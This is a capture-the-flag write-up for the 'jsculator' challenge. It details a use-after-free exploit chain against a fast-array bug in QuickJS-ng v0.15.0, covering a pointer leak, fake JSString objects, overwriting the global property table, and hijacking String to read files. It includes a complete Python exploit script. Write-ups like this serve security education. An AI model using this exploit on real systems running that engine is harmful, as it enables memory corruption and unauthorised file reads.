Logo
Overview
[SAS CTF 2026] JSculator writeup

[SAS CTF 2026] JSculator writeup

June 6, 2026
10 min read

TL;DR

jsculator is a BigInt array calculator running on QuickJS-ng v0.15.0. The script exposes only calculator-style commands over arrays and BigInts, with no direct JavaScript execution, no direct string creation, and no direct function calls.

The relevant attack surface is the extend command. It grows an array and then calls push(), which reaches a QuickJS-ng fast-array bug.

Analysis

Service Surface

The Dockerfile runs the service like this:

Terminal window
/app/qjs-linux-x86_64 --std /app/jsculator.js

The engine is QuickJS-ng v0.15.0. Because it is launched with --std, the std and os modules are present in the global object. The user, however, cannot directly run JavaScript. The service reads one line at a time with std.in.getline() and dispatches only the commands implemented by jsculator.js.

The exposed command set:

new <name>
list
drop <name>
set <name> <index> <value>
copy <dst_name> <dst> <src_name> <src>
get <name> <index>
del <name> <index>
add/sub/mul/div <name> <dst> <lhs> <rhs>
extend <state> <coeffs> [count]
quit

This looked like a plain sandbox at first. I could create arrays, store BigInts, copy values, delete slots, and run a recurrence. I could not directly create strings, call functions, or evaluate JavaScript.

The output helper is important:

function dumpValue(value) {
if (typeof value === "bigint") {
return value.toString();
}
if (value === undefined) {
return "undefined";
}
if (value === null) {
return "null";
}
return String(value);
}

For anything that is not a BigInt, undefined, or null, the service calls the global String function. That detail mattered later: once the global property table is writable, replacing String with another callable object turns a plain get command into a function call.

The path that mattered was runExtend().

function runExtend(state, coeffs, count) {
if (state.length < coeffs.length) {
state.length = coeffs.length;
}
let produced = 0n;
for (let round = 0; round < count; round++) {
let next = 0n;
const base = state.length - coeffs.length;
for (let i = 0; i < coeffs.length; i++) {
const coeff = coeffs[i];
const term = state[base + i];
next += (term ?? 0n) * (coeff ?? 0n);
}
state.push(next);
produced = next;
}
return produced;
}

It first extends state.length to match coeffs.length, then calls state.push(next). That exact sequence is where the engine bug triggers.

vulnerable code path

The 0day

The 0day used here is not a bug in jsculator.js’s command parser. It is not a bug in std.loadFile either. The actual bug is a QuickJS-ng v0.15.0 engine memory safety issue in fast-array handling.

I referred to it as:

QuickJS-ng v0.15.0 fast array stale JSValue exposure

In engine terms:

When the visible length of a fast array becomes larger than the initialized
backing store count, Array.prototype.push updates the fast-array count using
the visible length. This makes uninitialized backing store slots observable
as real JSValues.

Expected JavaScript behavior:

let a = [];
a.length = 5;
a.push(0n);
// a[0]..a[4] are holes.
// Reading them should behave like reading undefined.

Observed behavior in the challenge QuickJS-ng v0.15.0 release binary:

a[0]..a[4] contain raw JSValues from previous allocations.
If those raw words look like string/object/bigint tagged values,
they flow into stringify, copy, and delete paths.

I call it a 0day in the CTF writeup sense: the exploit did not rely on a public CVE or a known ready-made exploit. I found this by looking at the provided QuickJS-ng v0.15.0 binary/source and the JavaScript surface reachable from the challenge. The obvious public diff from v0.15.0 to v0.15.1 around growable SharedArrayBuffer was not directly reachable here. The working chain starts from the fast-array stale value reached through extend.

I’m not claiming an assigned CVE here. The accurate description is: a QuickJS-ng engine memory bug discovered and used during the CTF, without depending on a known public issue.

The rest of the writeup follows that chain.

Reproducing Stale JSValues

The minimal service-level shape is:

new s
new c
set c 4 0
extend s c 1
get s 0

Logically, s[0] should be a hole and should behave like undefined. In the release binary, the output depended on allocator state.

In an ASAN build, many exposed slots showed unsupported tags:

OK @ s[0] @ [unsupported type]

In the release binary, however, the same primitive sometimes produced values such as true, 1, string-looking data, or built-in objects. With more heap grooming and coeffs.length around 64, I observed outputs like:

[object AsyncGenerator]
[object WeakRef]
DOMException object expected

That was the turning point. These were not just weird strings; they were real stale QuickJS heap object pointers being interpreted as live JSValues.

QuickJS Value And Object Layouts

On 64-bit QuickJS-ng, a JSValue is 16 bytes:

struct JSValue {
uint64_t u;
int64_t tag;
}

The tags I needed:

JS_TAG_OBJECT = -1
JS_TAG_UNDEFINED = 3

BigInt and String layouts are especially useful.

typedef struct JSBigInt {
JSRefCountHeader header; // int ref_count
uint32_t len;
uint32_t tab[];
} JSBigInt;

JSString is basically:

struct JSString {
JSRefCountHeader header; // offset 0
uint32_t len : 31; // offset 4
uint32_t is_wide_char : 1;
uint32_t hash : 28; // offset 8
uint32_t kind : 2;
uint32_t atom_type : 2;
uint32_t hash_next; // offset 12
JSWeakRefRecord *first_weak_ref; // offset 16
// data or indirect pointer offset 24
};

If a BigInt object is reinterpreted as a JS_TAG_STRING, the fields overlap like this:

BigInt.ref_count -> JSString.ref_count
BigInt.len -> JSString.len/is_wide_char
BigInt.tab[0] -> JSString.hash/kind/atom_type
BigInt.tab[1] -> JSString.hash_next
BigInt.tab[2..3] -> JSString.first_weak_ref
BigInt.tab[4..] -> JSString data or indirect pointer

struct overlap

That overlap is the whole trick. The calculator does not let me create arbitrary strings, but it does let me create BigInts. A large integer gives control over the internal 32-bit limbs. If a stale slot later sees that BigInt chunk as a string, it becomes a fake JSString.

Pointer Leak

First I needed an ASLR leak. The leak stage lives in build_ptr_leak_cmds().

The shape:

new holder
new os
new oc
set oc 63 0
extend os oc 1
copy holder 0 os 63

Around os[63], a natural stale object reference appears reliably enough. I copy that value into holder[0], turning it into a live reference with a valid refcount.

Then I groom 6-limb BigInt chunks and small array backing stores. The goal is to make a stale BigInt slot point at memory that is now used as an array backing store containing an object pointer.

Eventually:

get s 0

prints a huge decimal integer:

OK @ s[0] @ <very large decimal integer>

That number is not meaningful as a BigInt. It is a chunk of memory misinterpreted as a BigInt. Splitting the absolute value into 32-bit limbs gives a useful pointer in limbs 2 and 3.

def parse_leaked_pointer(line):
dec = int(line.rsplit(b" @ ", 1)[1])
v = abs(dec)
limbs = []
while v:
limbs.append(v & 0xFFFFFFFF)
v >>= 32
return limbs[2] | (limbs[3] << 32)

The leak stayed stable locally and remotely. I used these offsets:

OFF_QJS_BASE = 0x3c710
OFF_PROP = 0x1c750
qjs_base = leak + 0x3c710
prop = leak + 0x1c750

prop is the address of the global object’s property table, which will be freed and overwritten later.

Fake Indirect JSString

Next step: use a BigInt as a fake JSString.

At offset 8 of JSString, QuickJS stores:

hash:28, kind:2, atom_type:2

kind == 2 is JS_STRING_KIND_INDIRECT. Therefore, setting tab[0] to the following value makes the fake string indirect:

0x20000000

Helper:

def fake_indirect_bigint(addr):
limbs = [
0x20000000,
0,
0,
0,
addr & 0xFFFFFFFF,
(addr >> 32) & 0xFFFFFFFF,
]
return hex(sum(limb << (32 * i) for i, limb in enumerate(limbs)))

The pointer goes into tab[4..5] because an indirect string’s strv(str) follows a pointer near offset 24. In the BigInt/String overlap, offset 24 is tab[4].

During analysis, this also gave an arbitrary-read-style primitive. For example, setting the indirect pointer to qjs_base and printing the string could show the ELF header:

\x7fELF\x02\x01...

However, this primitive is destructive. When a fake indirect string is freed, QuickJS also frees the indirect string target:

case JS_STRING_KIND_INDIRECT:
js_free_rt(rt, strv(str));
break;
js_free_rt(rt, str);

So I stopped using it as a read primitive. After one leak, I relied on stable offsets and used the fake indirect string for its free side effect.

Freeing global.prop

That free side effect became the next primitive.

If the fake indirect JSString’s indirect pointer is global.prop, then freeing that string frees the global property table.

The stale mapping I used:

zs[3] -> zfake[11]
zs[0] -> zfake[1]

zfake[11] is a fake indirect string:

kind = JS_STRING_KIND_INDIRECT
indirect pointer = global.prop

Then:

del zs 3

Deleting zs[3] frees the stale string value. Its finalizer calls js_free_rt(rt, strv(str)), so global.prop is freed.

Do not drop the whole zs array here. That frees too many stale values and usually crashes. I only free one controlled stale slot with del zs 3.

Overwriting The Freed Property Table

My first idea was to reallocate the freed global.prop chunk with a BigInt. That does not work cleanly because a BigInt object starts with ref_count and len, while a property table needs raw JSProperty entries from byte zero.

The better allocator primitive was the input line buffer.

Right after freeing global.prop, sending a long raw input line caused the line buffer to reuse memory near the freed property table. Locally, the alignment was stable:

line buffer user pointer = global.prop - 0x30

This raw send places prop_table exactly at global.prop:

tube.send(b"A" * 48 + prop_table + b"\n")

The raw line is not a valid command. The parser usually prints:

ERR @ not a function

ERR @ not a function is just parser noise from the binary line. By that point, the freed property table chunk already contains my bytes.

Sparse Global Property Table

The global property table is an array of JSProperty entries. In this exploit state, the size was stable:

prop_size = 127
prop_count = 96
entry size = 16
table size = 127 * 16 = 2032 bytes

I did not reconstruct the full original table. A sparse table was enough. Every slot starts as undefined:

undef = struct.pack("<Qq", 0, 3)
prop = bytearray(undef * 127)

Then only the needed slots are restored.

property table

Builder:

def js_object_value(ptr):
return struct.pack("<Qq", ptr, -1)
def build_sparse_prop_table(leak, string_func_off):
undef = struct.pack("<Qq", 0, 3)
prop = bytearray(undef * PROP_SIZE)
keep = {
29: OFF_EVAL,
30: OFF_NUMBER,
37: 0x32A10,
38: OFF_BIGINT,
78: OFF_GLOBAL_78,
79: OFF_STD,
80: OFF_OS,
}
for slot, off in keep.items():
prop[slot * 16:(slot + 1) * 16] = js_object_value(leak + off)
prop[32 * 16:33 * 16] = js_object_value(leak + string_func_off)
return bytes(prop)

Why these slots matter:

Number: parseIndex() calls Number(raw).
BigInt: parseBig() calls BigInt(text).
std: writeLine() needs std.out.puts/flush.
os: kept for diagnostics and --std global stability.
eval: kept for the eval proof and general stability.

Slot 32 is originally String. I replace it with the callable object I want:

mode eval -> String = eval
mode runsh -> String = std.loadFile
mode flag -> String = std.loadFile
mode getcwd -> String = os.getcwd

Because the property table is sent as one raw line, a newline byte inside the payload would split the input. If the randomized addresses produce a newline in the payload, the exploit just retries:

if b"\n" in prop_table:
raise RuntimeError("newline in raw property payload; retry")

Proof: String = eval

The first clean proof was String = eval.

If zs[0] is a fake source string containing "1+1 ", then:

handleGet()
-> dumpValue(zs[0])
-> String(zs[0])
-> eval("1+1 ")
-> 2

Output:

OK @ zs[0] @ 2

This confirmed that the global String overwrite gives a real function-call primitive.

Using eval for the final flag would require a longer JavaScript payload. There was a shorter and more stable path.

String = std.loadFile

Because the service runs with --std, std.loadFile is available through the global std module. If global String points to the std.loadFile CFunction object, then dumpValue() becomes a file read primitive:

dumpValue(zs[0])
-> String(zs[0])
-> std.loadFile(fake_string)

Next I needed the std.loadFile object address. During analysis, I followed the std module namespace object:

std object
-> shape/property table
-> loadFile export slot
-> JSVarRef*
-> JSVarRef.pvalue
-> JSValue object
-> JSObject.u.cfunc.c_function

Offsets that stayed fixed relative to the leak:

OFF_STD_LOADFILE = 0x11330
OFF_OS_GETCWD = 0x11f50
OFF_OS_READDIR = 0x12040

I verified the remote current working directory by setting String = os.getcwd.

remote cwd

The remote cwd is /app, so the relative path flag.txt is enough.

Fake Direct JSString(“flag.txt”)

The argument to std.loadFile is a fake direct JSString. For a direct string, kind = JS_STRING_KIND_NORMAL, and the bytes begin after the JSString header.

In the BigInt/String overlap, string bytes begin at tab[4].

def fake_string_bigint(src):
if len(src) < 6:
src = src.ljust(6, b" ")
limbs = [0] * len(src)
for i, ch in enumerate(src):
limbs[4 + i // 4] |= ch << (8 * (i % 4))
last_source_limb = 4 + (len(src) - 1) // 4
if len(src) - 1 > last_source_limb:
limbs[len(src) - 1] = 1
return hex(sum(limb << (32 * i) for i, limb in enumerate(limbs)))

One constraint matters: the fake string length overlaps with the BigInt limb count. The file name length therefore has to fit the stable fake-string grooming path.

The path I used:

flag.txt

Its length is 8:

len("flag.txt") = 8

I also tried /app/flag.txt, but length 13 was less stable with this primitive. After confirming the cwd was /app, the relative path was cleaner.

Final Exploit Flow

final exploit flow

At this point the exploit is just wiring the primitives together:

  1. Leak a pointer from a stale object reference and calculate global.prop.
  2. Build a sparse replacement property table where slot 32 (String) points to std.loadFile.
  3. Prepare zfake[11] as a fake indirect JSString pointing at global.prop.
  4. Prepare zfake[1] as a fake direct JSString("flag.txt").
  5. del zs 3 frees global.prop.
  6. Send b"A" * 48 + prop_table + b"\n" so the raw line buffer overwrites the freed table.
  7. get zs 0 calls dumpValue(zs[0]), which becomes std.loadFile("flag.txt").

Exploit

local proofs

What each proof checked:

  • eval: global String became eval, and the fake source "1+1 " executed.
  • runsh: global String became std.loadFile, and the fake source "run.sh" was read.
  • getcwd: global String became os.getcwd, and the current working directory was printed.

remote flag

ERR @ not a function is not a failure. It is the parser reacting to the raw binary property-table overwrite line. The next OK @ zs[0] @ ... line is the flag read.

import os
import time
import socket
import select
import struct
import subprocess
import argparse
QJS = "/tmp/qjs-linux-x86_64"
SCRIPT = "jsculator.js"
OFF_QJS_BASE = 0x3C710
OFF_PROP = 0x1C750
OFF_EVAL = 0x2B3A0
OFF_NUMBER = 0x2D920
OFF_BIGINT = 0x2B490
OFF_GLOBAL_78 = 0x221A0
OFF_STD = 0x222E0
OFF_OS = 0x22650
OFF_STD_LOADFILE = 0x11330
OFF_OS_GETCWD = 0x11F50
OFF_OS_READDIR = 0x12040
PROP_SIZE = 127
class Tube:
def __init__(self, host=None, port=None):
self.buf = b""
if host is None:
self.proc = subprocess.Popen(
[QJS, "--std", SCRIPT],
cwd=os.path.dirname(__file__) or ".",
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
self.fd = self.proc.stdout.fileno()
self.sock = None
else:
self.proc = None
self.sock = socket.create_connection((host, port), timeout=5)
self.sock.setblocking(False)
self.fd = self.sock.fileno()
def send(self, data):
if self.sock is not None:
self.sock.sendall(data)
else:
self.proc.stdin.write(data)
self.proc.stdin.flush()
def recv_some(self, timeout=0.02):
out = b""
end = time.time() + timeout
while time.time() < end:
ready, _, _ = select.select([self.fd], [], [], max(0, end - time.time()))
if not ready:
break
if self.sock is not None:
try:
chunk = self.sock.recv(65536)
except BlockingIOError:
break
else:
chunk = os.read(self.fd, 65536)
if not chunk:
break
out += chunk
self.buf += chunk
return out
def send_lines(self, cmds, chunk=16, timeout=0.01):
out = b""
for i in range(0, len(cmds), chunk):
self.send(("\n".join(cmds[i:i + chunk]) + "\n").encode())
out += self.recv_some(timeout)
out += self.recv_some(0.08)
return out
def read_until_line(self, needle, timeout=5):
end = time.time() + timeout
while time.time() < end:
self.recv_some(0.05)
for line in self.buf.splitlines():
if needle in line:
return line
raise RuntimeError(f"timeout waiting for {needle!r}; tail={self.buf[-500:]!r}")
def close(self):
if self.sock is not None:
self.sock.close()
else:
self.proc.kill()
def build_ptr_leak_cmds():
cmds = [
"new holder",
"new os",
"new oc",
"set oc 63 0",
"extend os oc 1",
"copy holder 0 os 63",
]
keep = hex(0x12345678 << (32 * 5))
n = 8
cmds += [
"new keep",
f"set keep 0 {keep}",
"new s",
"new c",
f"set c {n - 1} 0",
]
for j in range(40):
cmds.append(f"new g{j}")
for i in range(n + 1):
cmds.append(f"copy g{j} {i} keep 0")
for j in range(40):
cmds.append(f"drop g{j}")
cmds += ["extend s c 1", "drop keep"]
for j in range(2):
cmds += [f"new ov{j}", f"copy ov{j} 0 holder 0", f"set ov{j} 1 0"]
for j in range(50):
cmds += [f"new pad{j}", f"set pad{j} 0 {j + 1}", f"set pad{j} 1 {j + 2}"]
cmds.append("get s 0")
return cmds
def parse_leaked_pointer(line):
dec = int(line.rsplit(b" @ ", 1)[1])
v = abs(dec)
limbs = []
while v:
limbs.append(v & 0xFFFFFFFF)
v >>= 32
return limbs[2] | (limbs[3] << 32)
def fake_indirect_bigint(addr):
limbs = [
0x20000000,
0,
0,
0,
addr & 0xFFFFFFFF,
(addr >> 32) & 0xFFFFFFFF,
]
return hex(sum(limb << (32 * i) for i, limb in enumerate(limbs)))
def normal_fake(i):
marker = (f"N{i:05d}").encode()
limbs = [
0,
0,
0,
0,
int.from_bytes(marker[:4], "little"),
int.from_bytes(marker[4:] + b"\0\0", "little"),
]
return hex(sum(limb << (32 * i) for i, limb in enumerate(limbs)))
def fake_string_bigint(src):
if len(src) < 6:
src = src.ljust(6, b" ")
limbs = [0] * len(src)
for i, ch in enumerate(src):
limbs[4 + i // 4] |= ch << (8 * (i % 4))
# Keep the BigInt normalized to the desired limb count without changing
# the bytes visible through JSString.str8().
last_source_limb = 4 + (len(src) - 1) // 4
if len(src) - 1 > last_source_limb:
limbs[len(src) - 1] = 1
return hex(sum(limb << (32 * i) for i, limb in enumerate(limbs)))
def build_z_cmds(prop, source):
fake_free = fake_indirect_bigint(prop)
fake_source = fake_string_bigint(source)
cmds = [
"new zkeep",
f"set zkeep 0 {hex(0x12345678 << (32 * 5))}",
"new zfake",
"new zs",
"new zc",
"set zc 4 0",
"new zg",
"copy zg 0 zkeep 0",
"drop zg",
"extend zs zc 1",
]
for i in range(80):
if i == 11:
val = fake_free # zs[3] -> free global prop table
elif i == 1:
val = fake_source # zs[0] -> argument to hijacked String()
else:
val = normal_fake(i)
cmds.append(f"set zfake {i} {val}")
return cmds
def js_object_value(ptr):
return struct.pack("<Qq", ptr, -1)
def build_sparse_prop_table(leak, string_func_off):
undef = struct.pack("<Qq", 0, 3)
prop = bytearray(undef * PROP_SIZE)
# These raw property-table slots are stable in the challenge state after
# the leak grooming. They are raw JSProperty indices, not
# Object.getOwnPropertyNames(globalThis) indices.
keep = {
29: OFF_EVAL,
30: OFF_NUMBER,
37: 0x32A10,
38: OFF_BIGINT,
78: OFF_GLOBAL_78,
79: OFF_STD,
80: OFF_OS,
}
for slot, off in keep.items():
prop[slot * 16:(slot + 1) * 16] = js_object_value(leak + off)
prop[32 * 16:33 * 16] = js_object_value(leak + string_func_off)
return bytes(prop)
def mode_config(args):
if args.mode == "flag":
path = args.path.encode()
if len(path) not in (6, 8, 9):
raise SystemExit("this exploit path mode supports 6, 8, or 9 byte paths; default is flag.txt")
return OFF_STD_LOADFILE, path
if args.mode == "runsh":
return OFF_STD_LOADFILE, b"run.sh"
if args.mode == "getcwd":
return OFF_OS_GETCWD, b"XXXXXX"
if args.mode == "eval":
return OFF_EVAL, b"1+1 "
raise SystemExit(f"unsupported mode {args.mode}")
def attempt(args):
tube = Tube(args.host, args.port)
try:
tube.send_lines(build_ptr_leak_cmds(), chunk=16, timeout=0.02)
line = tube.read_until_line(b"OK @ s[0] @ ", timeout=25)
leak = parse_leaked_pointer(line)
qjs_base = leak + OFF_QJS_BASE
prop = leak + OFF_PROP
string_func_off, source = mode_config(args)
prop_table = build_sparse_prop_table(leak, string_func_off)
if b"\n" in prop_table:
raise RuntimeError("newline in raw property payload; retry")
if args.verbose:
print(f"leak = {leak:#x}")
print(f"qjs_base = {qjs_base:#x}")
print(f"prop = {prop:#x}")
print(f"String = {leak + string_func_off:#x}")
print(f"source = {source!r}")
tube.send_lines(build_z_cmds(prop, source), chunk=12, timeout=0.01)
tube.send_lines(["del zs 3"], chunk=1, timeout=0.02)
tube.send(b"A" * 48 + prop_table + b"\n")
tube.recv_some(0.15)
tube.buf = b""
tube.send(b"get zs 0\n")
tube.read_until_line(b"OK @ zs[0] @ ", timeout=5)
return tube.buf
finally:
tube.close()
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--host")
parser.add_argument("--port", type=int)
parser.add_argument("--mode", choices=["flag", "runsh", "getcwd", "eval"], default="flag")
parser.add_argument("--path", default="flag.txt")
parser.add_argument("--tries", type=int, default=30)
parser.add_argument("-v", "--verbose", action="store_true")
args = parser.parse_args()
if (args.host is None) != (args.port is None):
raise SystemExit("--host and --port must be used together")
last_error = None
for _ in range(args.tries):
try:
out = attempt(args)
print(out.decode("utf-8", "replace"), end="")
return
except Exception as exc:
last_error = exc
if args.verbose:
print(f"retry: {exc}")
time.sleep(1)
raise SystemExit(f"failed after {args.tries} tries: {last_error}")
if __name__ == "__main__":
main()
const arrays = new Map();
function writeLine(line) {
std.out.puts(line + "\n");
std.out.flush();
}
function ok() {
writeLine("OK");
}
function fail(message) {
writeLine(`ERR @ ${message}`);
}
function okValue(name, value) {
writeLine(`OK @ ${name} @ ${value}`);
}
function usage() {
writeLine("commands");
writeLine(" help");
writeLine(" new <name>");
writeLine(" list");
writeLine(" drop <name>");
writeLine(" set <name> <index> <value>");
writeLine(" copy <dst_name> <dst> <src_name> <src>");
writeLine(" get <name> <index>");
writeLine(" del <name> <index>");
writeLine(" add <name> <dst> <lhs> <rhs>");
writeLine(" sub <name> <dst> <lhs> <rhs>");
writeLine(" mul <name> <dst> <lhs> <rhs>");
writeLine(" div <name> <dst> <lhs> <rhs>");
writeLine(" extend <state> <coeffs> [count]");
writeLine(" quit");
}
function expectArray(name) {
const arr = arrays.get(name);
if (!arr) {
throw new Error(`unknown array '${name}'`);
}
return arr;
}
function parseIndex(raw) {
if (!/^-?\d+$/.test(raw)) {
throw new Error(`invalid index '${raw}'`);
}
const value = Number(raw);
if (!Number.isSafeInteger(value) || value < 0) {
throw new Error(`invalid index '${raw}'`);
}
return value;
}
function parseCount(raw) {
const value = parseIndex(raw);
if (value === 0) {
throw new Error("count must be positive");
}
return value;
}
function parseBig(raw) {
let text = raw;
if (text.endsWith("n")) {
text = text.slice(0, -1);
}
try {
return BigInt(text);
} catch (error) {
throw new Error(`invalid bigint '${raw}'`);
}
}
function readBig(arr, idx) {
const value = arr[idx];
if (typeof value !== "bigint") {
throw new Error(`slot ${idx} is not a bigint`);
}
return value;
}
function dumpValue(value) {
if (typeof value === "bigint") {
return value.toString();
}
if (value === undefined) {
return "undefined";
}
if (value === null) {
return "null";
}
return String(value);
}
function computeBinary(op, lhs, rhs) {
switch (op) {
case "add":
return lhs + rhs;
case "sub":
return lhs - rhs;
case "mul":
return lhs * rhs;
case "div":
if (rhs === 0n) {
throw new Error("division by zero");
}
return lhs / rhs;
default:
throw new Error(`unsupported op '${op}'`);
}
}
function runExtend(state, coeffs, count) {
if (state.length < coeffs.length) {
state.length = coeffs.length;
}
let produced = 0n;
for (let round = 0; round < count; round++) {
let next = 0n;
const base = state.length - coeffs.length;
for (let i = 0; i < coeffs.length; i++) {
const coeff = coeffs[i];
const term = state[base + i];
next += (term ?? 0n) * (coeff ?? 0n);
}
state.push(next);
produced = next;
}
return produced;
}
function handleNew(parts) {
if (parts.length !== 2) {
throw new Error("usage: new <name>");
}
const name = parts[1];
if (!/^[A-Za-z0-9_.-]{1,32}$/.test(name)) {
throw new Error("invalid array name");
}
if (arrays.has(name)) {
throw new Error(`array '${name}' already exists`);
}
arrays.set(name, []);
ok();
}
function handleList(parts) {
if (parts.length !== 1) {
throw new Error("usage: list");
}
if (arrays.size === 0) {
ok();
return;
}
for (const [name, arr] of arrays) {
okValue(name, arr.length);
}
}
function handleDrop(parts) {
if (parts.length !== 2) {
throw new Error("usage: drop <name>");
}
if (!arrays.delete(parts[1])) {
throw new Error(`unknown array '${parts[1]}'`);
}
ok();
}
function handleSet(parts) {
if (parts.length !== 4) {
throw new Error("usage: set <name> <index> <value>");
}
const arr = expectArray(parts[1]);
const idx = parseIndex(parts[2]);
arr[idx] = parseBig(parts[3]);
ok();
}
function handleGet(parts) {
if (parts.length !== 3) {
throw new Error("usage: get <name> <index>");
}
const arr = expectArray(parts[1]);
const idx = parseIndex(parts[2]);
okValue(`${parts[1]}[${idx}]`, dumpValue(arr[idx]));
}
function handleCopy(parts) {
if (parts.length !== 5) {
throw new Error("usage: copy <dst_name> <dst> <src_name> <src>");
}
const dstArr = expectArray(parts[1]);
const dst = parseIndex(parts[2]);
const srcArr = expectArray(parts[3]);
const src = parseIndex(parts[4]);
dstArr[dst] = srcArr[src];
ok();
}
function handleDelete(parts) {
if (parts.length !== 3) {
throw new Error("usage: del <name> <index>");
}
const arr = expectArray(parts[1]);
const idx = parseIndex(parts[2]);
delete arr[idx];
ok();
}
function handleBinary(parts) {
if (parts.length !== 5) {
throw new Error(`usage: ${parts[0]} <name> <dst> <lhs> <rhs>`);
}
const arr = expectArray(parts[1]);
const dst = parseIndex(parts[2]);
const lhs = readBig(arr, parseIndex(parts[3]));
const rhs = readBig(arr, parseIndex(parts[4]));
arr[dst] = computeBinary(parts[0], lhs, rhs);
ok();
}
function handleExtend(parts) {
if (parts.length !== 3 && parts.length !== 4) {
throw new Error("usage: extend <state> <coeffs> [count]");
}
const state = expectArray(parts[1]);
const coeffs = expectArray(parts[2]);
const count = parts.length === 4 ? parseCount(parts[3]) : 1;
const produced = runExtend(state, coeffs, count);
okValue("result", produced.toString());
}
function dispatch(line) {
const trimmed = line.trim();
if (trimmed === "") {
return true;
}
const parts = trimmed.split(/\s+/);
switch (parts[0]) {
case "help":
usage();
return true;
case "new":
handleNew(parts);
return true;
case "list":
handleList(parts);
return true;
case "drop":
handleDrop(parts);
return true;
case "set":
handleSet(parts);
return true;
case "copy":
handleCopy(parts);
return true;
case "get":
handleGet(parts);
return true;
case "del":
handleDelete(parts);
return true;
case "add":
case "sub":
case "mul":
case "div":
handleBinary(parts);
return true;
case "extend":
handleExtend(parts);
return true;
case "quit":
case "exit":
ok();
return false;
default:
throw new Error(`unknown command '${parts[0]}'`);
}
}
function main() {
writeLine("JSculator by AI Bro");
writeLine("type help to see list of commands");
std.out.puts("> ");
std.out.flush();
for (;;) {
const line = std.in.getline();
if (line === null) {
break;
}
try {
if (!dispatch(line)) {
break;
}
} catch (error) {
fail(error.message ?? String(error));
}
std.out.puts("> ");
std.out.flush();
}
}
main();

Appendix

Experiments That Did Not Make The Final Chain

The main writeup only keeps the path that directly led to the final exploit. These are the side tracks I checked along the way.

BigInt Max-Size Invariant Bypass

I started by spending a lot of time on BigInt internals, mostly because the challenge exposed so many BigInt operations.

One interesting invariant bypass did exist:

JS_BIGINT_MAX_SIZE = 32768 limbs

js_bigint_extend() did not re-check the max size when appending one sign-extension limb. By constructing a 32768-limb BigInt with the right top limb and then adding it to itself, I could create a 32769-limb BigInt.

It did not become a useful corruption primitive.

  • get failed during decimal toString() with BigInt is too large to allocate.
  • Further add/sub/mul/div attempts hit the next BigInt allocation check.
  • ASAN/UBSAN boundary tests around limb sizes did not show an OOB access.

Parser And String Surface

I also checked the parser/string input surface:

  • very large ASCII-space lines
  • hundreds of thousands of tokens
  • invalid UTF-8 bytes
  • NUL bytes inside lines
  • the trim().split(/\s+/) path

No useful crash or corruption came out of these.

Array Length Boundary

I checked large array indexes as well.

  • index 2^32 - 2 grows length to 2^32 - 1
  • push() from that state throws invalid array length
  • index 2^32 - 1 and above becomes an ordinary property

This showed state mutation after an error, but it was not enough for exploitation. The parser already allowed access to those large ordinary-property indexes, so this did not create a new primitive.